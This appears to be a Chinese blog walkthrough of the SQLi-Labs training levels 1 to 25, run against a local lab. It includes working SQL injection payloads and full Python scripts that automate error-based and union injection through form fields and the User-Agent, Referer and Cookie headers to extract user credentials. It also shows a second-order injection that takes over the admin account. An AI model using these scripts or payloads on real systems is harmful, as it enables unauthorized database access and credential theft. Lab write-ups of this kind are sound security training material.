通过刚刚的观察,我们发现服务器会回显内容,也会回显错误,因此注入方法可以选择联合注入,也可以选择报错注入。当然,不追求时间的话,什么条件下都可以选择时间盲注
运行脚本,获得信息: 1768043730799

Less-2#

直接修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-2/"
RULE = "/html/body/div/font[2]/font/text()"
SYMBOL = ""

1768043920335

Less-3#

依旧修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-3/"
RULE = "/html/body/div/font[2]/font/text()"
SYMBOL = "\')"

1768044055949

Less-4#

修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-4/"
RULE = "/html/body/div/font[2]/font/text()"
SYMBOL = "\")"

1768044873996

Less-5#

修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-5/"
RULE = "/html/body/div/font[2]/font/text()"
SYMBOL = "\'"

有具体的报错信息,因此可以选择报错注入;同样有正确与否的回显,因此可以选择布尔盲注。当然,也可以选择时间盲注 1768045337666

Less-6#

修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-6/"
RULE = "/html/body/div/font[2]/font/text()"
SYMBOL = "\""

1768045467336

Less-7#

修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-7/"
RULE = "/html/body/div/font[2]/font/text()"
SYMBOL = "\'))"

没有详细的报错信息了,因此只能选择布尔盲注或者时间盲注 1768045825524

Less-8#

修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-8/"
RULE = "/html/body/div/font[2]/font/text()"
SYMBOL = "\'"

1768045979473

Less-9#

无论怎样修改页面都不会改变了,因此只能使用时间盲注了。先注入:

id=-1' or if(1=1,sleep(2),1)--+

发现页面卡顿了很久,因此使用的是单引号闭合

修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-9/"
RULE = "/html/body/div/font[2]/font/text()"
SYMBOL = "\'"

Less-10#

依旧时间盲注。修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-10/"
RULE = "/html/body/div/font[2]/font/text()"
SYMBOL = "\""

Less-11#

变成 POST 表单的形式了 1768195017141

尝试在 uname 字段注入 1768195103635

行,直接用脚本。修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-11/"
RULE = "/html/body/div[3]/font/font/font/text()"
SYMBOL = "\'"

成功获取信息 1768195257992

Less-12#

修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-12/"
RULE = "/html/body/div[3]/font/font/font/text()"
SYMBOL = "\")"

成功获取信息 1768195419272

Less-13#

闭合符号是 '),但是没有回显 1768195603948

在测试闭合符时发现了会报错详细信息,因此使用报错注入。修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-13/"
RULE = "/html/body/div[3]/font/font/text()"
SYMBOL = "\")"

成功获取信息 1768195958551

Less-14#

没有报错信息,只有在正确与否的时候图片会不一样,因此使用布尔盲注
修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-14/"
RULE = "/html/body/div[3]/font/font/img/@src"
SYMBOL = "\""

成功获取信息 1768196542321

Less-15#

依旧布尔盲注,修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-15/"
RULE = "/html/body/div[3]/font/font/img/@src"
SYMBOL = "\'"

成功获取数据 1768196684943

Less-16#

修改 Config.py

Config.py
URL = "http://127.0.0.1/sql/Less-16/"
RULE = "/html/body/div[3]/font/font/img/@src"
SYMBOL = "\")"

成功获取数据 1768196811456

Less-17#

1768050877630

uname 无论传入什么都会回显这个页面,因此判断注入点不在此处。尝试爆破 uname,发现传入 admin 可以通过: 1768051014934

因此,uname 传入 admin,尝试在 passwd 进行注入: 1768051058984

单引号闭合,且有详细的报错信息,因此使用报错注入

爆数据库名:
' or updatexml(1,concat(0x7e,database(),0x7e),1)#
爆数据表名:
' or updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e),1)#
爆列名:
' or updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='users'),0x7e),1)#
爆用户名:
' or updatexml(1,concat(0x7e,(SELECT group_concat(username) FROM security.users),0x7e),1)#

打到这就出问题了,因为题目中这句的源码是这样的

"UPDATE users SET password = '$passwd' WHERE username='$row1'"

在 SQL 语句中,UPDATE users 后面的语句中不能出现 FROM users 的语句,因此此处再想用报错注入已经不行了……
尝试查找了一些资料,使用 SQLmap,但是也没有打通……先鸽一会,如果有大佬可以解决这个问题,请教教我,谢谢!

Less-18#

1768139634761

提醒 IP 地址,第一个想到的是 X-Forwarded-For,尝试修改后没东西。随后尝试在 uname 和 passwd 上注入,都没有注入点。因此只能被迫尝试爆破

uname=admin&passwd=admin

成功获得回显: 1768140054676

回显 User-Agent,因此尝试在这里注入 1768140446842

单引号加括号闭合,有详细报错信息,但是现在报错列数不够 简单测试一下,发现是 3 列 1768141001279

随后报错注入就行了

修改了一下原来的报错注入的脚本

import request
import logging
logging.basicConfig(
format="%(asctime)s - %(levelname)s - %(message)s",
level=logging.INFO
)
def main(url, rule):
logging.info(f"开始对 {url} 进行注入...")
data = {
"uname": """admin""",
"passwd": "admin"
}
header = {
"User-Agent": f"""1',updatexml(1,concat(0x7e,database(),0x7e),1),3)#"""
}
logging.info(f"第一次注入内容为 {header['User-Agent']}...")
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
db_name = response[0].split(':')[1][3:-2]
except Exception as e:
logging.exception("第一次注入语句出现错误...")
return response
header = {
"User-Agent": f"""1',updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{db_name}'),0x7e),1),3)#"""
}
logging.info(f"第二次注入内容为 {header['User-Agent']} ...")
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
tb_list = response[0].split(':')[1][3:-2].split(',')
except Exception as e:
logging.exception("第二次注入语句出现错误...")
return response
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
header = {
"User-Agent": f"""1',updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'),0x7e),1),3)#"""
}
logging.info(f"第三次注入内容为 {header['User-Agent']}...")
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
col_list = response[0].split(':')[1][3:-2].split(',')
except Exception as e:
logging.exception("第三次注入语句出现错误...")
return response
print("[+] 发现数据列:", col_list)
col_name_1 = col_list[1]
logging.info(f"开始第四次注入...")
p = 1
tmp = "1"
username = ""
while tmp:
header = {
"User-Agent": f"""1',updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_1}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1),3)#"""
}
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
tmp = response[0].split(':')[1][3:-2]
except Exception as e:
logging.exception("第四次注入语句出现错误...")
return response
username += tmp
p += 30
username = username.split(',')
col_name_2 = col_list[2]
logging.info("开始第五次注入...")
p = 1
tmp = "1"
password = ""
while tmp:
header = {
"User-Agent": f"""1',updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_2}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1),3)#"""
}
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
tmp = response[0].split(':')[1][3:-2]
except Exception as e:
logging.exception("第五次注入语句出现错误...")
return response
password += tmp
p += 30
password = password.split(',')
return username, password
if __name__ == "__main__":
url = "http://127.0.0.1/sql/Less-18/"
rule = "/html/body/div[3]/font/text()[3]"
username, password = main(url, rule) or (None, None)
print()
print(username)
print()
print(password)

也能爆出想要的信息

Less-19#

依旧显示 IP,有了上一关的经验,先传 uname=admin&passwd=admin 试试,回显 1768143225928

行,修改 Referer 字段试试 1768143394793

行,再测一下,发现是 2 列
那就再改一下脚本

import request
import logging
logging.basicConfig(
format="%(asctime)s - %(levelname)s - %(message)s",
level=logging.INFO
)
def main(url, rule):
logging.info(f"开始对 {url} 进行注入...")
data = {
"uname": """admin""",
"passwd": "admin"
}
header = {
"Referer": f"""1',updatexml(1,concat(0x7e,database(),0x7e),1))#"""
}
logging.info(f"第一次注入内容为 {header['Referer']}...")
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
db_name = response[0].split(':')[1][3:-2]
except Exception as e:
logging.exception("第一次注入语句出现错误...")
return response
header = {
"Referer": f"""1',updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{db_name}'),0x7e),1))#"""
}
logging.info(f"第二次注入内容为 {header['Referer']} ...")
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
tb_list = response[0].split(':')[1][3:-2].split(',')
except Exception as e:
logging.exception("第二次注入语句出现错误...")
return response
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
header = {
"Referer": f"""1',updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'),0x7e),1))#"""
}
logging.info(f"第三次注入内容为 {header['Referer']}...")
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
col_list = response[0].split(':')[1][3:-2].split(',')
except Exception as e:
logging.exception("第三次注入语句出现错误...")
return response
print("[+] 发现数据列:", col_list)
col_name_1 = col_list[1]
logging.info(f"开始第四次注入...")
p = 1
tmp = "1"
username = ""
while tmp:
header = {
"Referer": f"""1',updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_1}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1))#"""
}
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
tmp = response[0].split(':')[1][3:-2]
except Exception as e:
logging.exception("第四次注入语句出现错误...")
return response
username += tmp
p += 30
username = username.split(',')
col_name_2 = col_list[2]
logging.info("开始第五次注入...")
p = 1
tmp = "1"
password = ""
while tmp:
header = {
"Referer": f"""1',updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_2}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1))#"""
}
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
tmp = response[0].split(':')[1][3:-2]
except Exception as e:
logging.exception("第五次注入语句出现错误...")
return response
password += tmp
p += 30
password = password.split(',')
return username, password
if __name__ == "__main__":
url = "http://127.0.0.1/sql/Less-19/"
rule = "/html/body/div[3]/font/text()[3]"
username, password = main(url, rule) or (None, None)
print()
print(username)
print()
print(password)

成功获取信息

Less-20#

依旧测试,发现 uname 和 passwd 都没有注入点。再次爆破,发现 uname 和 passwd 都为 admin 1768143848557

回显了很多东西,先尝试修改 User-Agent 1768143913561

没啥反应。再看 Cookie 1768143990751

报错了,那就是说注入点在 Cookie 中
再次修改脚本

import request
import logging
logging.basicConfig(
format="%(asctime)s - %(levelname)s - %(message)s",
level=logging.INFO
)
def main(url, rule):
logging.info(f"开始对 {url} 进行注入...")
data = {
"uname": """admin""",
"passwd": "admin"
}
header = {
"Cookie": f"""uname=1' or updatexml(1,concat(0x7e,database(),0x7e),1)#"""
}
logging.info(f"第一次注入内容为 {header['Cookie']}...")
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
db_name = response[0].split(':')[2][3:-2]
except Exception as e:
logging.exception("第一次注入语句出现错误...")
return response
header = {
"Cookie": f"""uname=1' or updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{db_name}'),0x7e),1)#"""
}
logging.info(f"第二次注入内容为 {header['Cookie']} ...")
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
tb_list = response[0].split(':')[2][3:-2].split(',')
except Exception as e:
logging.exception("第二次注入语句出现错误...")
return response
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
header = {
"Cookie": f"""uname=1' or updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'),0x7e),1)#"""
}
logging.info(f"第三次注入内容为 {header['Cookie']}...")
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
col_list = response[0].split(':')[2][3:-2].split(',')
except Exception as e:
logging.exception("第三次注入语句出现错误...")
return response
print("[+] 发现数据列:", col_list)
col_name_1 = col_list[1]
logging.info(f"开始第四次注入...")
p = 1
tmp = "1"
username = ""
while tmp:
header = {
"Cookie": f"""uname=1' or updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_1}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1)#"""
}
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
tmp = response[0].split(':')[2][3:-2]
except Exception as e:
logging.exception("第四次注入语句出现错误...")
return response
username += tmp
p += 30
username = username.split(',')
col_name_2 = col_list[2]
logging.info("开始第五次注入...")
p = 1
tmp = "1"
password = ""
while tmp:
header = {
"Cookie": f"""uname=1' or updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_2}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1)#"""
}
response = request.post(url, rule, data=data, headers=header)
if response == None:
logging.error(f"出现错误...")
return None
try:
tmp = response[0].split(':')[2][3:-2]
except Exception as e:
logging.exception("第五次注入语句出现错误...")
return response
password += tmp
p += 30
password = password.split(',')
return username, password
if __name__ == "__main__":
url = "http://127.0.0.1/sql/Less-20/"
rule = "/html/body/center/b/font[3]/text()[2]"
username, password = main(url, rule) or (None, None)
print()
print(username)
print()
print(password)

成功获取数据

事后又去看了眼源码,这里使用的是 SELECT 语句,因此联合注入也是可以的,但是我懒得改脚本了……

Less-21#

依旧尝试 admin,成功回显 1768144602843

被 Base64 编码了,尝试注入试试 1768144786579

把 payload Base64 编码就行了
懒得改脚本了,反正就用 Base64 库编码一下就行了……

Less-22#

和上一关一样,只是改成用双引号闭合……

Less-23#

依旧 id 测试 1768145090915

注释符没用了,猜测是被 WAF 了,那使用 or '1'='1 的格式就能闭合 SQL 语句了 1768145214152

依旧改脚本

import request
import logging
def main(url, symbol, rule):
logging.info(f"开始对 {url} 进行注入...")
param = {
"id": f"""-1{symbol} UNION SELECT 1,database(),group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() AND {symbol}1{symbol}={symbol}1"""
}
logging.info(f"第一次注入内容为 {param['id']}...")
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
db_name = response[0].split(':')[1]
tb_list = response[1].split(':')[1].split(',')
except Exception as e:
logging.exception("第一次注入语句出现错误...")
return response
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
param = {
"id": f"""-1{symbol} UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}' AND {symbol}1{symbol}={symbol}1"""
}
logging.info(f"第二次注入内容为 {param['id']}...")
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
col_list = response[0].split(':')[1].split(',')
except Exception as e:
logging.exception("第二次注入语句出现错误...")
return response
print("[+] 发现数据列:", col_list)
col_name_1 = col_list[1]
col_name_2 = col_list[2]
param = {
"id": f"""-1{symbol} UNION SELECT 1,group_concat({col_name_1}),group_concat({col_name_2}) FROM {db_name}.{tb_name} WHERE {symbol}1{symbol}={symbol}1"""
}
logging.info(f"第三次注入内容为 {param['id']}...")
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
username = response[0].split(':')[1].split(',')
password = response[1].split(':')[1].split(',')
except Exception as e:
logging.exception("第三次注入语句出现错误...")
return response
return username, password
if __name__ == "__main__":
url = "http://127.0.0.1/sql/Less-23/index.php"
symbol = "\'"
rule = "/html/body/div/font[2]/font/text()"
username, password = main(url, symbol, rule) or (None, None)
print("\n")
print(username)
print()
print(password)

成功获得信息

Less-24#

发现了注册页面 1768145800458

1768145987450

尝试直接修改 admin 的密码,回显 1768145863886

尝试闭合语句并加一个注释符,也不行
没想法了,看看源码

login_create.php
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
pass_change.php
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

源码中的逻辑漏洞挺多,但是单纯从 SQL 注入来说,这里应该是二次注入,所以在注册新用户时

Desired Username: admin'#
Password: 任意密码

然后登录

Username: admin'#
Password: 刚刚注册的密码

然后重置密码

Current Password: 注册的密码
New Password: 任意新密码

然后点 reset,这时候才会触发 pass_change.php,更新 admin 的密码。最后只需要用刚刚更新过的密码就可以登录 admin 账户了
但是这有什么用呢?不明白……
其他的地方都被严格限制了,并不能进行注入。能以 admin 身份登入也确实不错了

Less-25#

提示挺明显的,过滤了 AND 和 OR 1768197046685

尝试联合注入,发现成功回显 1768197211289

去修改一下联合注入的 payload,不用 AND

import request
import logging
def main(url, symbol, rule):
logging.info(f"开始对 {url} 进行注入...")
param = {
"id": f"""-1{symbol} UNION SELECT 1,database(),group_concat(table_name) FROM infoorrmation_schema.tables WHERE table_schema=database()-- """
}
logging.info(f"第一次注入内容为 {param['id']}...")
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
db_name = response[0].split(':')[1]
tb_list = response[1].split(':')[1].split(',')
except Exception as e:
logging.exception("第一次注入语句出现错误...")
return response
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
param = {
"id": f"""-1{symbol} UNION SELECT 1,group_concat(column_name),3 FROM infoorrmation_schema.columns WHERE table_name='{tb_name}'-- """
}
logging.info(f"第二次注入内容为 {param['id']}...")
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
col_list = response[0].split(':')[1].split(',')
except Exception as e:
logging.exception("第二次注入语句出现错误...")
return response
print("[+] 发现数据列:", col_list)
col_name_1 = col_list[4]
param = {
"id": f"""-1{symbol} UNION SELECT 1,group_concat({col_name_1}),group_concat(passwoorrd) FROM {db_name}.{tb_name}-- """
}
logging.info(f"第三次注入内容为 {param['id']}...")
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
username = response[0].split(':')[1].split(',')
password = response[1].split(':')[1].split(',')
except Exception as e:
logging.exception("第三次注入语句出现错误...")
return response
return username, password
if __name__ == "__main__":
url = "http://127.0.0.1/sql/Less-25/"
symbol = "\'"
rule = "/html/body/div/font[2]/font/text()"
print(main(url, symbol, rule))

这个逆天正则匹配,会匹配所有的 or。information 里面有 or,password 里面还有 or,都被删除了……
翻了一下源码发现只删除一次,那还好,可以使用双写绕过。这个 password 不用正则还真想不出自动加一个 or 的方式,但是我又懒了,就手动写一下吧

成功获得数据 1768198056721

SQL-Labs 通关笔记
https://fuwari.vercel.app/posts/sql-labs_wp/
作者
LightFeather
发布于
2026-01-12
许可协议
CC BY-NC-SA 4.0